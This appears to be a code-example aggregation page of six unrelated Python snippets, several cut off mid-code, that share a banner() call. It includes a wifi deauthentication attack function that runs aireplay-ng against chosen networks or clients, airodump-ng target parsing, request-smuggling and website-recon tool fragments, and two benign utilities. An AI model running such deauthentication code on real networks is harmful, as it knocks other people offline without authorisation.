Ejemplo n.º 1
0
def launch_attack(number,interface,restart_services):
	global network_list_main
	global client_list_main
	global victim
	target = ''
	router = False
	
	# Check if user has selected a client or whole network
	client_index = len(network_list_main)+1
	user_option = number -  client_index
	
	# If user selected a client
	if number >= int(client_index):
		target = client_list_main[user_option][2]
		channel = client_list_main[user_option][5]
		functions.change_wireless_channel(channel,interface)
		print client_list_main[user_option]
	
	else:
		router = True
		target = network_list_main[(number-1)][1]
		channel = network_list_main[(number-1)][3]
		functions.change_wireless_channel(channel,interface)
			
		
	functions.system_clear()
	functions.banner()
	#print client_list_main[user_option][3] 
	#print client_list_main[user_option]
	print "Channel: " + channel
	print channel
	# Start Attack
	try:
		# If client
		if router == False:
			print colored ("\n[*]Initiating Deathentication For Victim: " + target + "\n",'magenta',attrs=['bold'])
			subprocess.Popen("aireplay-ng -0 0 -a " +  client_list_main[user_option][3] + " -c " + target + " " + interface, shell=True).wait()
			
		else:
			subprocess.Popen("aireplay-ng -0 0 -a " + network_list_main[(number-1)][2] + " " + interface, shell=True).wait()
				#os.system("aireplay-ng -0 0 -a " + network_list_main[(number-1)][2] + " " + interface)
	except Exception as (e):
		print colored("[!!] Error! Something Unexpected Happened",'red',attrs=['bold'])
		print str(e)
		time.sleep(3)
		functions.cleanup(interface,True,True,restart_services)
Ejemplo n.º 2
0
    Parser.add_argument('--no-color',
                        action='store_true',
                        help="Suppress color codes")
    Parser.add_argument('-c',
                        '--configfile',
                        default="default.py",
                        help="Filepath to the configuration file of payloads")
    Args = Parser.parse_args(
    )  # returns data from the options specified (echo)

    NOCOLOR = Args.no_color
    if os.name == 'nt':
        NOCOLOR = True

    Version = "v1.1"
    banner(Version)

    if sys.version_info < (3, 0):
        print_info("Error: Smuggler requires Python 3.x")
        sys.exit(1)

    # If the URL argument is not specified then check stdin
    if Args.url is None:
        if sys.stdin.isatty():
            print_info("Error: no direct URL or piped URL specified\n")
            Parser.print_help()
            exit(1)
        Servers = sys.stdin.read().split("\n")
    else:
        Servers = [Args.url + " " + Args.method]
Ejemplo n.º 3
0
def parse_network_info():
	global airodump
	# Declare Variables
	targets = [] # list to hold list of target networks discovered
	clients = [] # list to hold list of clients discovered
	hit_clients = False
	
	# Open CSV FIle and extract & format relevant information
	with open('ddd-01.csv', 'rb') as csvfile:
		targetreader = csv.reader((line.replace('\0', '') for line in csvfile), delimiter=',')
		for row in targetreader:
			if len(row) < 2:
				continue
			if not hit_clients:
				if row[0].strip() == 'Station MAC':
					hit_clients = True
					continue
				if len(row) < 14:
					continue
				if row[0].strip() == 'BSSID':
					continue
				enc = row[5].strip()
				wps = False
				
				# if statement to neaten encoding name
				if enc == "WPA2WPA" or enc == "WPA2 WPA":
					enc = "WPA2"
					wps = True # wps is active

				power = int(row[8].strip())
				ssid = row[13].strip()
				ssidlen = int(row[12].strip())
				ssid = ssid[:ssidlen]
				if power < 0: power += 100
				
				# create target instance and add it to the list
				t = Target(row[0].strip(), power, row[10].strip(), row[3].strip(), enc, ssid)
				t.wps = wps # enable wps in the instance
				targets.append(t) # add to list
				
			# Handle Clients Found
			else:
				if len(row) < 6:
					continue
				bssid = re.sub(r'[^a-zA-Z0-9:]', '', row[0].strip())
				station = re.sub(r'[^a-zA-Z0-9:]', '', row[5].strip())
				power = row[3].strip()
				if station != 'notassociated':
					c = Client(bssid, station, power, '')
					clients.append(c)

	# Pass on to display functions
	functions.system_clear() # clear screen, neatens the display for the user
	functions.banner() # print banner
	
	# check if airodump is still scanning for networks or not
	airodump_alive = airodump.poll()
	if airodump_alive == None:
		print colored ("\n[*] Scanning... Found " + repr(len(targets)) + " Networks, Clients " + repr(len(clients)) + " (press any key to stop scanning)", 'magenta',attrs=['bold'])
	else:
		print colored ("\n[*] Found " + repr(len(targets)) + " Networks, Clients " + repr(len(clients)) + "", 'magenta',attrs=['bold'])
	
	# call functions to handle the targets and clients tables
	create_network_table(targets,clients)
	create_client_table(targets,clients)
	
	return len(targets)
Ejemplo n.º 4
0
'''
This is a banking app that lets you perform banking services similar to the conventional banking apps
If you run this module, you'll be able to use our banking services
Authors: Yousef Alshaibani and Abdelrahman Elsayed
Date: 14/3/2021
'''

from functions import banner, login_screen, login, create_account, options, withdraw, deposit, current_balance, transaction_history
import sys

while True:
    banner()
    login_screen()
    login_choice = int(input('Option: '))

    if login_choice == 1:
        login()
        break
    elif login_choice == 2:
        create_account()
        break
    elif login_choice == 3:
        sys.exit('Thank you for using UBT banking. Have a good day!')
    else:
        print('Invalid option')
        continue

while True:
    options()
    choice = int(input('Option: '))
Ejemplo n.º 5
0
import functions as f
import requests
import os
import json

while (1):
    f.banner()
    url = input("Enter the name of Website: ")
    try:
        urln = int(input("Enter 1 for http and 2 for https: "))
        urlt = ''
        if (urln == 1):
            urlt = "http://"
        elif (urln == 2):
            urlt = "https://"
        else:
            print("Invalid Input Please Re-enter")
            a = 1 / 0

        website = requests.get(urlt + url)

        print(website.status_code)
        f.menu()
        while (1):
            ch = input("[#] Choose Any Scan OR Action From The Above List: ")
            if (ch == '0'):
                print("[+] Scanning Begins..... \n[i] Scanning Site: " + urlt +
                      url + "\n[S] Scan Type: Basic Recon")
                f.basic_recon(urlt, url)
            elif (ch == '1'):
                print("[+] Scanning Begins..... \n[i] Scanning Site: " + urlt +
Ejemplo n.º 6
0
#get command line arguments
options = {}
options = functions.func_get_arguments()

if options['logging'] != False:

    a_logger = logging.getLogger()
    a_logger.setLevel(logging.INFO)
    output_file_handler = logging.FileHandler(options['logging'])
    stdout_handler = logging.StreamHandler(sys.stdout)

    a_logger.addHandler(output_file_handler)
    a_logger.addHandler(stdout_handler)

functions.banner(a_logger)

#load yaml file with baseline config
baseline_yaml_file = open(options['baseline_yaml'])
baseline_config = yaml.full_load(baseline_yaml_file)

data = {}

# execute directory/offline mode
if "directory" in options:

    data["FILE"] = {}
    # get file list in directory
    config_list = os.listdir(options['directory'])

    # loop through config files